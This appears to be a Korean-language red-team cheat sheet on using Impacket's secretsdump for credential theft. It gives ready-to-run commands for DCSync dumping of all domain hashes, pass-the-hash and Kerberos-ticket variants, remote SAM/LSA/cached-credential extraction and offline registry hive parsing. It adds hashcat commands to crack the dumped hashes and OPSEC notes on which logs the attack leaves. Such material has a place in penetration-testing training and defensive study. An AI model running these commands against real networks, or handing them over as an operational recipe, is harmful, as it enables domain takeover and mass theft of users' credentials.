ATT&CK: T1003.003 NTDS, T1003.002 SAM, T1003.004 LSA Secrets, T1003.005 Cached Credentials · Credential Access (TA0006)
Impacket의 secretsdump.py는 자격증명 추출의 스위스 아미 나이프. 로컬 하이브 파싱부터 원격 DCSync까지 하나의 스크립트로 커버.
1. 설치
pipx install impacket
# 또는
pip install impacket
실행 바이너리는 impacket-secretsdump (일부 배포판은 secretsdump.py).
2. 원격 DCSync — 도메인 전체 해시
도메인 관리자 권한 또는 GetChangesAll 권한이 있을 때, DC가 “복제 응답"을 보내도록 유도해 전 사용자 해시를 뽑는다. 호스트에 아무것도 안 떨어뜨리고 가능:
impacket-secretsdump 'CORP/dc_admin:Password123@dc01.corp.local' \
-just-dc-ntlm \
-outputfile domain-hashes
-just-dc-ntlm: NTLM 해시만. Kerberos keys 뽑으려면-just-dc.domain-hashes.ntds파일 생성 — hashcat-m 1000에 바로 투입.
3. 패스더해시로 DCSync
평문이 없고 NTLM 해시만 있어도 됨:
impacket-secretsdump -hashes :aad3b435b51404ee...:a4f49c406510bd... \
'CORP/dc_admin@dc01.corp.local' -just-dc-ntlm
LM 자리는 빈 값(:로 구분).
4. 로컬 머신 — 원격 SAM/LSA
관리자 세션으로 원격 Windows 호스트에서 SAM + LSA secrets + cached creds 추출:
impacket-secretsdump 'CORP/alice:Password@10.0.0.5'
출력 섹션:
[*] Dumping local SAM hashes— 로컬 계정 NTLM[*] Dumping cached domain logon information— DCC2 해시 (오프라인 crack)[*] Dumping LSA Secrets— 서비스 계정 평문 자격 포함 가능
5. 오프라인 하이브 파싱
레지스트리 하이브 파일만 있을 때 (예: 이전 글의 reg save):
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL
6. 티켓 추출 — 커버로스로 전환
평문/해시 없이 Kerberos 티켓만 있어도:
# TGT (ccache 또는 kirbi)
export KRB5CCNAME=admin.ccache
impacket-secretsdump -k -no-pass dc01.corp.local -just-dc-ntlm
7. hashcat 투입
# NTLM 해시
hashcat -m 1000 domain-hashes.ntds /usr/share/wordlists/rockyou.txt
# DCC2 (cached domain credentials)
hashcat -m 2100 dcc2.txt rockyou.txt
8. OPSEC
- DCSync는 DC에서 **DS Replication 이벤트(4662)**로 로그에 명확히 기록된다. 수상한 소스 호스트에서 발생하면 바로 탐지됨.
- DCSync 자체는 네트워크 쓰기 없이 MS-DRSR 프로토콜만 사용 — 디스크 흔적 X.
-just-dc-ntlm은 Kerberos keys 요청을 생략해서 로그가 약간 가볍다.
참고
- fortra/impacket
- MITRE ATT&CK — T1003